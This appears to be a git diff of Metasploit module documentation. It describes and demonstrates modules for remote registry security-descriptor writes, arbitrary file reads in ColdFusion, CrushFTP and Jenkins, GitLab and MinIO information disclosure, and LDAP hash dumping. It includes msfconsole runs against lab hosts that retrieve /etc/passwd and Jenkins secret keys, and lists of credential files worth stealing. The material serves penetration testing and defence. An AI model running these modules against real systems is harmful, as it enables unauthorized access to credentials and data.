RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module reads or writes a Windows registry security descriptor remotely.
|
||||
|
||||
In READ mode, the `FILE` option can be set to specify where the security
|
||||
descriptor should be written to.
|
||||
|
||||
The following format is used:
|
||||
```
|
||||
key: <registry key>
|
||||
security_info: <security information>
|
||||
sd: <security descriptor as a hex string>
|
||||
```
|
||||
|
||||
In WRITE mode, the `FILE` option can be used to specify the information needed
|
||||
to write the security descriptor to the remote registry. The file must follow
|
||||
the same format as described above.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/admin/registry_security_descriptor`
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
|
||||
1. **Verify** the registry key security descriptor is displayed
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
|
||||
1. **Verify** the registry key security descriptor is saved to the file
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
|
||||
1. **Verify** the security descriptor is correctly set on the given registry key
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
|
||||
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key
|
||||
|
||||
## Options
|
||||
|
||||
### KEY
|
||||
Registry key to read or write.
|
||||
|
||||
### SD
|
||||
Security Descriptor to write as a hex string.
|
||||
|
||||
### SECURITY_INFORMATION
|
||||
Security Information to read or write (see
|
||||
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
|
||||
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).
|
||||
|
||||
### FILE
|
||||
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Read against Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019
|
||||
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019 (from file)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
|
||||
key: HKLM\SECURITY\Policy\PolEKList
|
||||
security information: 4
|
||||
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -4,7 +4,7 @@ Provided AWS credentials, this module will call the authenticated API of Amazon
|
||||
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
|
||||
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
|
||||
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
|
||||
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
|
||||
identified targets (without requiring target-level credentials) using the CreateSession datastore option. The module also
|
||||
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -26,7 +26,7 @@ Security bulletin from Squid: https://github.com/squid-cache/squid/security/advi
|
||||
|
||||
### REQUEST_COUNT
|
||||
|
||||
REQUEST_COUNT is both the the number of HTTP requests which are sent to the server in
|
||||
REQUEST_COUNT is both the number of HTTP requests which are sent to the server in
|
||||
order to perform the actual Denial of Service (i.e. accepted requests by the server),
|
||||
and the number of requests that are sent to confirm that the Squid host is actually
|
||||
dead.
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version
|
||||
'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication
|
||||
token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that
|
||||
UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability.
|
||||
|
||||
### Setup
|
||||
|
||||
#TODO: Find out how to setup a vulnerable target and put those details here.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use coldfusion_pms_servlet_file_read`
|
||||
1. Set the `RHOST` and datastore option
|
||||
1. If the target host is running Windows, change the default `FILE_PATH` datastore options from `/tmp/passwd` to a file path that exists on Windows.
|
||||
1. Run the module
|
||||
1. Receive the contents of the `FILE_PATH` file
|
||||
|
||||
## Scenarios
|
||||
### ColdFusion Version 2023.0.0.330468 running on Linux
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Attempting to retrieve UUID ...
|
||||
[+] UUID found: 1c49c29a-f1c0-4ed0-9f9e-215f434c8a12
|
||||
[*] Attempting to exploit directory traversal to read /etc/passwd
|
||||
[+] File content:
|
||||
n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash
|
||||
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
|
||||
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
whoopsie:x:117:124::/nonexistent:/bin/false
|
||||
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
|
||||
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
|
||||
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
|
||||
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
|
||||
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
|
||||
[+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an unauthenticated server-side template injection vulnerability in CrushFTP < 10.7.1 and
|
||||
< 11.1.0 (as well as legacy 9.x versions). Attackers can submit template injection payloads to the web API without
|
||||
authentication. When attacker payloads are reflected in the server's responses, the payloads are evaluated. The
|
||||
primary impact of the injection is arbitrary file read as root, which can result in authentication bypass, remote
|
||||
code execution, and NetNTLMv2 theft (when the host OS is Windows and SMB egress traffic is permitted).
|
||||
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis).
|
||||
|
||||
## Options
|
||||
|
||||
### INJECTINTO
|
||||
The unauthenticated API function to use for template injection (default: zip).
|
||||
|
||||
### STORE_LOOT
|
||||
Whether the read file's contents should be outputted to the console or stored as loot (default: false).
|
||||
|
||||
### TARGETFILE
|
||||
The target file to read (default: users/MainUsers/groups.XML). This can be a full path, a relative path, or a network share path (if
|
||||
firewalls permit). Files containing binary data may not be read accurately. Though file paths for Windows targets can contain `:`
|
||||
characters, like `C:\Windows\win.ini`, this will result in payloads not being fully redacted from CrushFTP logs.
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Download an affected version of CrushFTP [here](https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip) (SHA256: adc3619937ebb57b3a95c50f78fda5c388d072c0d34a317b9ed64a31127a6d3f).
|
||||
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
|
||||
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
|
||||
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
|
||||
5. Follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/gather/crushftp_fileread_cve_2024_4040`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `set TARGETFILE <TARGET_FILE_TO_READ>`
|
||||
6. `set STORE_LOOT false` if you want to display file on the console instead of storing it as loot.
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
### CrushFTP on Windows, Linux, or Mac
|
||||
```
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options
|
||||
|
||||
Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
INJECTINTO zip yes The CrushFTP API function to inject into (Accepted: zip, exists)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
|
||||
loit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
STORE_LOOT false yes Store the target file as loot
|
||||
TARGETFILE users/MainUsers/groups.XML yes The target file to read. This can be a full path, a relative path, or a network share path (i
|
||||
f firewalls permit). Files containing binary data may not be read accurately
|
||||
TARGETURI / yes The URI path to CrushFTP
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > check
|
||||
[+] 127.0.0.1:8080 - The target is vulnerable. Server-side template injection successful!
|
||||
msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Server-side template injection successful!
|
||||
[*] Fetching anonymous session cookie...
|
||||
[*] Using template injection to read file: users/MainUsers/groups.XML
|
||||
[+] File read succeeded!
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<groups type="properties"></groups>
|
||||
|
||||
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -7,7 +7,7 @@ in the cluster, indices, and pull data from those indices.
|
||||
### Docker
|
||||
|
||||
Docker install is quite simple, however it won't come with any data making the results rather boring.
|
||||
However, we can use the the [oliver006/elasticsearch-test-data](https://github.com/oliver006/elasticsearch-test-data)
|
||||
However, we can use the [oliver006/elasticsearch-test-data](https://github.com/oliver006/elasticsearch-test-data)
|
||||
repo to help auto populate our data.
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Information disclosure affecting all versions of GitLab
|
||||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
|
||||
by sending a GET request to the project URI and appending "-/tags"
|
||||
|
||||
### Docker installation instructions can be found here:
|
||||
|
||||
https://docs.gitlab.com/ee/install/docker.html
|
||||
|
||||
Once installed, create a project. Once the project is
|
||||
created, add a new tag by expanding the Code menu item
|
||||
on the left, then selecting Tags. Then click on the
|
||||
New Tag button in the top right corner.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use [module path]`
|
||||
1. Do: `set RHOSTS [IP]`
|
||||
1. Do: `run`
|
||||
1. You should receive output with user names and email addresses assocaited with project tags
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETPROJECT
|
||||
|
||||
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
|
||||
like to target, you would need to set that here.
|
||||
|
||||
## Scenarios
|
||||
### Scrape all Workspaces/Projects
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] [2024.02.09-11:18:23] Scraping ALL projects...
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
|
||||
[+] [2024.02.09-11:18:23] name: john doe
|
||||
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
|
||||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
|
||||
[+] [2024.02.09-11:18:23] name: janedoe
|
||||
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
|
||||
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Specify Project
|
||||
```
|
||||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
|
||||
TARGETPROJECT => Workspace1/Project1
|
||||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
|
||||
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
|
||||
[+] [2024.02.09-11:44:43] name: janedoe
|
||||
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module utilizes the Jenkins cli protocol to run the `help` command.
|
||||
The cli is accessible with read-only permissions by default, which are
|
||||
all thats required.
|
||||
|
||||
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
|
||||
replace any `@<filename>` with the contents of a file. We are then able to retrieve
|
||||
the error message to read up to the first two lines of a file.
|
||||
|
||||
Exploitation by hand can be done with the cli, see markdown documents for additional
|
||||
instructions.
|
||||
|
||||
There are a few exploitation oddities:
|
||||
1. The injection point for the `help` command requires 2 input arguments.
|
||||
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
|
||||
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
|
||||
However, we can pad out the content by supplying a first argument.
|
||||
2. There is a strange timing requirement where the `download` (or first) request must get
|
||||
to the server first, but the `upload` (or second) request must be very close behind it.
|
||||
From testing against the docker image, it was found values between `.01` and `1.9` were
|
||||
viable. Due to the round trip time of the first request and response happening before
|
||||
request 2 would be received, it is necessary to use threading to ensure the requests
|
||||
happen within rapid succession.
|
||||
|
||||
Files of value:
|
||||
|
||||
* /var/jenkins_home/secret.key
|
||||
* /var/jenkins_home/secrets/master.key
|
||||
* /var/jenkins_home/secrets/initialAdminPassword
|
||||
* /etc/passwd
|
||||
* /etc/shadow
|
||||
* Project secrets and credentials
|
||||
* Source code, build artifacts
|
||||
|
||||
Vulnerable versions include:
|
||||
|
||||
* < 2.442
|
||||
* LTS < 2.426.3
|
||||
|
||||
### Protocol Breakdown
|
||||
|
||||
A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
|
||||
|
||||
| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
|
||||
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
|
||||
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
|
||||
|
||||
### Docker Setup
|
||||
|
||||
Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
|
||||
|
||||
LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
|
||||
1. Do: `set rhost [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get the first two lines of the `FILE_PATH`
|
||||
|
||||
## Options
|
||||
|
||||
### FILE_PATH
|
||||
|
||||
File path to read from the server. Defaults to `/etc/passwd`.
|
||||
|
||||
Other files which may be of value:
|
||||
* `/var/jenkins_home/secret.key`
|
||||
* `/var/jenkins_home/secrets/master.key`
|
||||
* `/var/jenkins_home/secrets/initialAdminPassword`
|
||||
* `/etc/passwd`
|
||||
* `/etc/shadow`
|
||||
* Project secrets and credentials
|
||||
* Source code, build artifacts
|
||||
|
||||
### DELAY
|
||||
|
||||
Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
|
||||
Defaults to `0.5`
|
||||
|
||||
Testing against the docker image showed values between `.01` and `1.9` were successful.
|
||||
|
||||
### ENCODING
|
||||
|
||||
Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
|
||||
|
||||
### LOCALITY
|
||||
|
||||
Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### jenkins 2.440-jdk17 on Docker
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
|
||||
file_path => /var/jenkins_home/secrets/initialAdminPassword
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
|
||||
[*] Re-attempting with padding for single line output file
|
||||
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
|
||||
f5d5f6e98e1f466aad22c0f81ca48fb0
|
||||
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### jenkins 2.426.2-lts on Docker
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
|
||||
file_path => /var/jenkins_home/secret.key
|
||||
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
|
||||
[*] Re-attempting with padding for single line output file
|
||||
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
|
||||
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
|
||||
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -28,20 +28,25 @@ msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 1389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it]
|
||||
DOMAIN no The domain to authenticate to
|
||||
MAX_LOOT no Maximum number of LDAP entries to loot
|
||||
PASSWORD no The password to authenticate with
|
||||
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
|
||||
serpassword, password, pwdhistory, passwordhistory, c
|
||||
learpassword
|
||||
READ_TIMEOUT 600 no LDAP read timeout in seconds
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 1389 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME no The username to authenticate with
|
||||
USER_ATTR dn no LDAP attribute(s), that contains username
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
@@ -214,23 +214,33 @@ QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
|
||||
ework/test.yaml
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
|
||||
ramework/wiki/Using-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
PASSWORD thePassword123 no The password to authenticate with
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USERNAME normal@daforest.com no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
When ACTION is RUN_QUERY_FILE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml no Path to the JSON or YAML file to load and run queries from
|
||||
|
||||
|
||||
When ACTION is RUN_SINGLE_QUERY:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_ATTRIBUTES no Comma separated list of attributes to retrieve from the server
|
||||
QUERY_FILTER no Filter to send to the target LDAP server to perform the query
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with
|
||||
RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns
|
||||
all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,
|
||||
resulting in information disclosure.
|
||||
|
||||
### Docker Image
|
||||
|
||||
1. Download docker yml: https://raw.githubusercontent.com/vulhub/vulhub/master/minio/CVE-2023-28432/docker-compose.yml
|
||||
1. Execute `docker-compose up` inside the same directory containing the docker-compose.yml
|
||||
1. Then MinIO's login page should be available at http://127.0.0.1:9001/
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/minio_bootstrap_verify_info_disc.rb`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. You should get MinIO Environmental Variables
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
